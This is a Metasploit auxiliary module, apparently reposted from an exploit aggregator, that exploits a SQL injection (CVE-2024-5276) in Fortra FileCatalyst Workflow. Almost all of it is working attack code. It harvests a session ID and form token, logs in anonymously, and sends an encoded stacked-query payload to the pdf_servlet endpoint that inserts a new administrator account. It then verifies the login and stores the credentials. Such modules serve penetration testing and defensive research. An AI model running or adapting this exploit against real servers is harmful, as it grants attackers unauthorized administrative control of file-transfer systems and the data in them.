Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-HTTP-FORTRA_FILECATALYST_WORKFLOW_SQLI-
require 'digest/md5'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)',
'Description' => %q{
This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135, by adding a new
administrative user to the web interface of the application.
},
'Author' => [
'Tenable', # Discovery and PoC
'Michael Heinzl' # MSF Module
],
'References' => [
['CVE', '2024-5276'],
['URL', 'https://www.tenable.com/security/research/tra-2024-25'],
['URL', 'https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0']
],
'DisclosureDate' => '2024-06-25',
'DefaultOptions' => {
'RPORT' => 8080
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]),
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alphanumeric(16)]),
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
])
end
def run
print_status('Starting SQL injection workflow...')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'workflow/')
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
end
print_good('Server reachable.')
raw_res = res.to_s
unless raw_res =~ /JSESSIONID=(\w+);/
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')
end
jsessionid = ::Regexp.last_match(1)
print_status("JSESSIONID value: #{jsessionid}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
body = res.body
unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
end
token_value = ::Regexp.last_match(1)
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.headers['Location']
fail_with(Failure::UnexpectedReply, 'Location header not found.')
end
location_value = res.headers['Location']
print_status("Redirect #1: #{location_value}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, location_value.to_s),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.headers['Location']
fail_with(Failure::UnexpectedReply, 'Location header not found.')
end
location_value = res.headers['Location']
print_status("Redirect #2: #{location_value}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, location_value.to_s),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
html = res.get_html_document
h2_tag = html.at_css('h2')
unless h2_tag
fail_with(Failure::UnexpectedReply, 'h2 tag not found.')
end
h2_text = h2_tag.text.strip
unless h2_text == 'Choose an Order Type'
fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text)
end
print_status('Received expected response.')
t = Time.now
username = datastore['NEW_USERNAME']
password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase
email = datastore['NEW_EMAIL']
firstname = Faker::Name.first_name
lastname = Faker::Name.last_name
areacode = rand(100..999)
exchangecode = rand(100..999)
subscribernumber = rand(1000..9999)
phone = format('(%<areacode>03d) %<exchangecode>03d-%<subscribernumber>04d',
areacode: areacode,
exchangecode: exchangecode,
subscribernumber: subscribernumber)
creation = "+#{t.strftime('%s%L')}"
pw_creationdate = "+#{t.strftime('%s%L')}"
lastlogin = "+#{t.strftime('%s%L')}"
vprint_status('Adding New Admin User:')
vprint_status("\tUsername: #{username}")
vprint_status("\tPassword: #{datastore['NEW_PASSWORD']} (#{password})")
vprint_status("\tEmail: #{email}")
vprint_status("\tFirstName: #{firstname}")
vprint_status("\tLastName: #{lastname}")
vprint_status("\tPhone: #{phone}")
vprint_status("\tCreation: #{creation}")
vprint_status("\tPW_CreationDate: #{pw_creationdate}")
vprint_status("\tLastLogin: #{lastlogin}")
payload = '1%27%3BINSERT+INTO+DOCTERA_USERS+%28USERNAME%2C+PASSWORD%2C+ENCPASSWORD%2C+FIRSTNAME%2C+LASTNAME%2C+COMPANY%2C' \
'ADDRESS%2C+ADDRESS2%2C+CITY%2C+STATE%2C+ALTPHONE%2C+ZIP%2C+COUNTRY%2C+PHONE%2C+FAX%2C+EMAIL%2C+LASTLOGIN%2C' \
'CREATION%2C+PREFERREDSERVER%2C+CREDITCARDTYPE%2C+CREDITCARDNUMBER%2C+CREDITCARDEXPIRY%2C+ACCOUNTSTATUS%2C+USERTYPE%2C' \
'COMMENT%2C+ADMIN%2C+SUPERADMIN%2C+ACCEPTEMAIL%2C+ALLOWHOTFOLDER%2C+PROTOCOL%2C+BANDWIDTH%2C+DIRECTORY%2C+SLOWSTARTRATE%2C' \
'USESLOWSTART%2C+SLOWSTARTAGGRESSIONRATE%2C+BLOCKSIZE%2C+UNITSIZE%2C+NUMENCODERS%2C+NUMFTPSTREAMS%2C+ALLOWUSERBANDWIDTHTUNING%2C' \
'EXPIRYDATE%2C+ALLOWTEMPACCOUNTCREATION%2C+OWNERUSERNAME%2C+USERLEVEL%2C+UPLOADMETHOD%2C+PW_CHANGEABLE%2C+PW_CREATIONDATE%2C' \
"PW_DAYSBEFOREEXPIRE%2C+PW_MUSTCHANGE%2C+PW_USEDPASSWORDS%2C+PW_NUMERRORS%29+VALUES%28%27#{username}%27%2C+NULL%2C+" \
"%27#{password}%27%2C+%27#{firstname}%27%2C+%27#{lastname}%27%2C+%27%27%2C+" \
'%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27202-404-2400%27%2C+%27%27%2C+' \
"%27#{email}%27%2C#{lastlogin}%2C#{creation}%2C+%27default%27%2C+%27%27%2C+%27%27%2C+" \
'%27%27%2C+%27full+access%27%2C+%27%27%2C+%27%27%2C+1%2C+0%2C+0%2C+0%2C+%27DEFAULT%27%2C+%270%27%2C+0%2C+' \
'%270%27%2C+1%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+0%2C+0%2C+0%2C+%27%27%2C+0%2C+' \
"%27DEFAULT%27%2C+0%2C#{pw_creationdate}%2C+-1%2C+0%2C+NULL%2C+0%29%3B--+-"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "workflow/servlet/pdf_servlet?JOBID=#{payload}"),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.body.to_s == ''
print_good('SQL injection successful!')
print_status('Confirming credentials...')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'workflow/jsp/logon.jsp'),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
}
)
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
body = res.body
unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
end
token_value = ::Regexp.last_match(1)
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}",
'Content-Type' => 'application/x-www-form-urlencoded'
},
'vars_post' => {
'username' => datastore['NEW_USERNAME'],
'password' => datastore['NEW_PASSWORD'],
'FCWEB.FORM.TOKEN' => token_value.to_s,
'submit' => 'Login'
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
html = res.get_html_document
title_block = html.at_css('.titleBlock')
unless title_block
fail_with(Failure::UnexpectedReply, 'Expected titleBlock not found.')
end
title_text = title_block.text.strip
unless title_text.include?('Administration')
fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.')
end
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
print_good('Login successful!')
print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'workflow/jsp/logon.jsp'))}")
end
end